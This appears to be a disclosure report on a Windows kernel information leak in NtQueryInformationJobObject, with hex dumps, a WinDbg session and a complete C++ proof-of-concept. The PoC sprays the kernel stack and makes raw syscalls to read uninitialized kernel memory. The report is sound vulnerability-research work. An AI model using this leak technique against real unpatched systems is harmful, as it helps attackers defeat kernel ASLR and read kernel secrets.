We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the JobObjectExtendedLimitInformation information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
```
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
```
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a JOBOBJECT_EXTENDED_LIMIT_INFORMATION structure [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the end of the JOBOBJECT_BASIC_LIMIT_INFORMATION structure and the beginning of the adjacent IO_COUNTERS structure. The length of the former is 0x2C (44), while the latter must be 8-byte aligned, so there is a gap at offsets 0x2C-0x2F, which is not initialized by the kernel.
The vulnerability can be easily demonstrated with a kernel debugger (WinDbg), by setting a breakpoint on nt!NtQueryInformationJobObject, manually filling out the structure memory with a marker byte (0x41), and then observing four of these bytes printed out by the attached proof-of-concept program:
```
--- cut ---
2: kd> bp nt!NtQueryInformationJobObject
2: kd> g
Breakpoint 0 hit
nt!NtQueryInformationJobObject:
818d5891 6890010000 push 190h
3: kd> p
nt!NtQueryInformationJobObject+0x5:
818d5896 68e0cf6981 push offset nt! ?? ::FNODOBFM::`string'+0x6100 (8169cfe0)
3: kd> p
nt!NtQueryInformationJobObject+0xa:
818d589b e8b8dbdeff call nt!_SEH_prolog4 (816c3458)
3: kd> p
nt!NtQueryInformationJobObject+0xf:
818d58a0 33f6 xor esi,esi
3: kd> f ebp-18c ebp-18c+70-1 41
Filled 0x70 bytes
3: kd> g
--- cut ---
```
An example output on our test virtual machine is as follows:
```
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 20 00 00 00 05 00 00 00 41 41 41 41 .... .......AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
```
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
#### References:
[1] JOBOBJECT_EXTENDED_LIMIT_INFORMATION structure, https://msdn.microsoft.com/en-us/library/windows/desktop/ms684156(v=vs.85).aspx
QueryInformationJobObject_new.cpp
```
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;
// Create a job object to operate on.
HANDLE hJob = CreateJobObject(NULL, NULL);
// Spray the kernel stack with a marker value, to get visible results.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectBasicLimitInformation).
DWORD ReturnLength = 0;
BYTE output[120] = { /* zero padding */ };
NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectBasicLimitInformation, &output, sizeof(JOBOBJECT_BASIC_LIMIT_INFORMATION), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#1 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print out the output.
printf("JobObjectBasicLimitInformation:\n");
PrintHex(output, ReturnLength);
// Spray the kernel again before invoking the affected system call.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 112.
ZeroMemory(output, sizeof(output));
st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 112, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#2 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print the output again.
printf("JobObjectExtendedLimitInformation (112):\n");
PrintHex(output, ReturnLength);
// Spray the kernel again before invoking the affected system call.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 120.
ZeroMemory(output, sizeof(output));
st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 120, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#2 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print the output again.
printf("JobObjectExtendedLimitInformation (120):\n");
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hJob);
return 0;
}
```
暂无评论